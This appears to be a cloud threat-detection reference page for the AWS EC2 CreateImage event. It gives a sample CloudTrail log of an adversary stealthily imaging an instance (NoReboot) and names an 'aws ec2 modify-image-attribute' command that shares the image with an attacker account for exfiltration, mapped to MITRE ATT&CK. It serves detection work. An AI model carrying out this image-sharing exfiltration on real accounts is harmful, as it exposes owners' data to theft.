Skip to content

CreateImage

AWS

CreateImage

service: AWS - EC2
techniques:

Event

Creates an Amazon Machine Image (AMI) from a running or stopped EC2 instance, capturing its disk state for reuse.

Security Context

  • Accessing cloud storage objects can expose sensitive data including backups, configuration files, application data, and customer information.
  • Transferring data to external cloud accounts or regions can bypass network-based data loss prevention controls and exfiltrate large volumes of data.

Log Source

CloudTrail

Sample Event

Adversarial. Draco creates an AMI from a running OCCAMY pipeline EC2 instance (i-0occamy0000000001) with NoReboot: true to avoid alerting users. Snapshots of all attached EBS volumes (root + data) are captured into the AMI and into AWS account 555123456789. This stages an aws ec2 modify-image-attribute --launch-permission Add=UserId=555666661337 follow-up that allows the adversary account to launch the AMI and recover full disk contents.

{
"eventVersion": "1.09",
"userIdentity": {
"type": "IAMUser",
"principalId": "AIDADRAC0MALF0YBADGY",
"arn": "arn:aws:iam::555123456789:user/draco",
"accountId": "555123456789",
"accessKeyId": "AKIADRAC0MALF0YEXAMP5",
"userName": "draco",
"sessionContext": {
"attributes": {
"creationDate": "2026-04-15T18:51:02Z",
"mfaAuthenticated": "false"
}
}
},
"eventTime": "2026-04-15T22:44:18Z",
"eventSource": "ec2.amazonaws.com",
"eventName": "CreateImage",
"awsRegion": "us-east-1",
"sourceIPAddress": "203.0.113.66",
"userAgent": "aws-cli/1.18.147 Python/3.7.10 Linux/5.4.0-1045-aws botocore/1.18.6",
"requestParameters": {
"instanceId": "i-0occamy0000000001",
"name": "occamy-prod-debug-666",
"description": "Debug image for OCCAMY pipeline troubleshooting",
"noReboot": true
},
"responseElements": {
"requestId": "90000000-0000-4000-8000-000010001000",
"imageId": "ami-0666exfilimage66"
},
"requestID": "90000000-0000-4000-8000-000010001000",
"eventID": "90000000-0000-4000-8000-000010001001",
"readOnly": false,
"eventType": "AwsApiCall",
"managementEvent": true,
"recipientAccountId": "555123456789",
"eventCategory": "Management",
"tlsDetails": {
"tlsVersion": "TLSv1.3",
"cipherSuite": "TLS_AES_128_GCM_SHA256",
"clientProvidedHostHeader": "ec2.us-east-1.amazonaws.com"
}
}

MITRE ATT&CK Mapping

Tactics: Collection Exfiltration

Techniques:
  • T1530 — Data from Cloud Storage — Adversaries may access data from cloud storage.
  • T1537 — Transfer Data to Cloud Account — Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.